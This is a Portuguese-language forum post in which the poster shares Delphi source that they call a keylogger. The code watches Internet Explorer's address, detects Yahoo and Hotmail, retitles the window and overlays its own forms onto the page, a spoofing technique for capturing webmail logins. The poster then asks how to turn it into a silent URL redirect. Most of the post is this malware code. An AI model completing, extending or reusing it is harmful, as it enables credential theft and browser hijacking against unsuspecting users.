Pessoal, estou com uma source de um Keylogger com o seguinte código abaixo: function TForm1.GetURL(Service: string): String;
var
ClDDE: TDDEClientConv;
temp:PChar;
begin
Result := '';
//create a new DDE Client object
ClDDE:= TDDEClientConv.Create( nil );
with ClDDE do
begin
SetLink(Service,'WWW_GetWindowInfo');
temp := RequestData('0xFFFFFFFF');
Result := StrPas(temp);
StrDispose(temp);
CloseLink;
end;
ClDDE.Free;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
S: Array[0..255] of Char;
Text : String;
Posicao : Integer;
begin
text := GetURL('IExplore');
GetWindowText(GetForeGroundWindow, S, SizeOf(S));
Site := StrPas(S);
//Yahoo
if StrPos(PChar(text), PChar('http://www.yahoo.com.br')) <> nil then
Begin
sNome := 'yahoo';
VerificaResulocao;
end;
//Hotmail
if StrPos(PChar(text), PChar('http://www.hotmail.com')) <> nil then
Begin
sNome := 'hotmail';
VerificaResulocao;
end;
end;
procedure TForm1.ActiveForm(sTipo:string);
var
hBody: HWND;
lRetVal: integer;
begin
Timer1.Enabled := False;
hIE := GetForeGroundWindow;
hBody := windows.FindWindowEx(hIE,0,'Shell DocObject View',0);
try
if sTipo = 'yahoo' then
begin
SetWindowText(hIE,'Yahoo - Microsoft Internet Explorer');
frmYahoo := TfrmYahoo.Create(self);
windows.SetParent(frmYahoo.Handle,hBody);
frmYahoo.Height := 3000;
frmYahoo.Width := 3000;
frmYahoo.left := -4;
frmYahoo.Top := 1;
frmYahoo.show;
end;
if sTipo = 'hotmail' then
begin
SetWindowText(hIE,'Hotmail - Microsoft Internet Explorer');
frmHotmail := TfrmHotmail.Create(self);
windows.SetParent(frmHotmail.Handle,hBody);
frmHotmail.Height := 47;
frmHotmail.Width := 147;
frmHotmail.left := 870;
frmHotmail.Top := 2;
frmHotmail.show;
end;
finally
end;
end; Esse Código basicamente faz com que ao digitar http://www.yahoo.com.br chame o form do yahoo e ao digitar http://hotmail.com chame o form do hotmail. Só que eu quero que ao invés de chamar um form faça um redirecionamento de URL, por ex: ao digitar no browser http://www.yahoo.com.br e pressionar a tecla enter, eu seje redirecionado para o site http://www.google.com Aí eu Gostaria de saber quais mudanças eu faço nesse código para tal feito?
